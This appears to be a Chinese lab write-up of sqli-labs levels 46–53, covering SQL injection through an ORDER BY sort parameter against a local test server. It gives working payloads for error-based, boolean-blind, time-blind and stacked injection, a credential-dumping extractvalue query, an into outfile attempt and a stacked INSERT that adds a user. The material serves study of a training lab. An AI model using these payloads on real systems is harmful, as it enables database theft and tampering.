less46-53

Less-46

请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注 ORDER BY $id

先看关键源码

1
2
3
4
5
6
7
8
9
10
11
# GET 方式获取 sort 参数
$id=$_GET['sort'];

# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
输出查询信息
else:
print_r(mysql_error());

其实看完源码知道它的原理,就可以用注入姿势上 验证方式

升序和降序验证

Bash # 升序排序 ?sort=1 asc

降序排序

?sort=1 dasc
rand() 验证
rand(ture) 和 rand(false) 的结果是不一样的

Payload
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload

此外 rand() 结果是一直都是随机的

?sort=rand()
?sort=1 and rand()

延时验证

Payload ?sort=sleep(1) ?sort=(sleep(1)) ?sort=1 and sleep(1) 这种方式均可以延时,延时的时间为 (行数*1) 秒

报错注入1

Payload http://192.168.248.133/sql/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

报错注入2

利用 procedure analyse 参数,也可以执行报错注入。

Payload
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(‘:’,username,password)+FROM+users limit 0,1))),1)

布尔盲注

数据库第 1 位为:s

Payload
?sort=rand(left(database(),1)>’r’)
?sort=rand(left(database(),1)>’s’)

延时盲注

数据库第一个字母的 ascii 码为 115,即s

Payload ?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1))) ?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

用into outfile将查询结果导入到文件
?sort=1 into outfile “/var/www/html/less46.txt”
失败
国光说,web目前mysql没有读写权限造成的

Less-47

请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注 ORDER BY '$id' 和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。

Less-48

请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注 ORDER BY $id 和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。

Less-49

请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注 ORDER BY '$id'

和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。

less-50

跟less46一样的拼接 报错注入 http://192.168.248.133/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)

因为源码中有mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。
这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。

堆叠注入 ?sort=1;insert into users(username,password) values ('less50','less50');

Boolean ?sort=1 and if(left(database(),1)='s');

Less-51

请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY '$id'

?sort=1’ –+

less-52

通过对比源码 在less-51中有print_r(mysqli_error($con1)); 但是在less-52无 所以没有报错注入这东西 其它和less51一样

Less-53

请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注、堆叠注入 ORDER BY '$id' 和 Less-51 是一样的,只是少了报错注入的利用方式。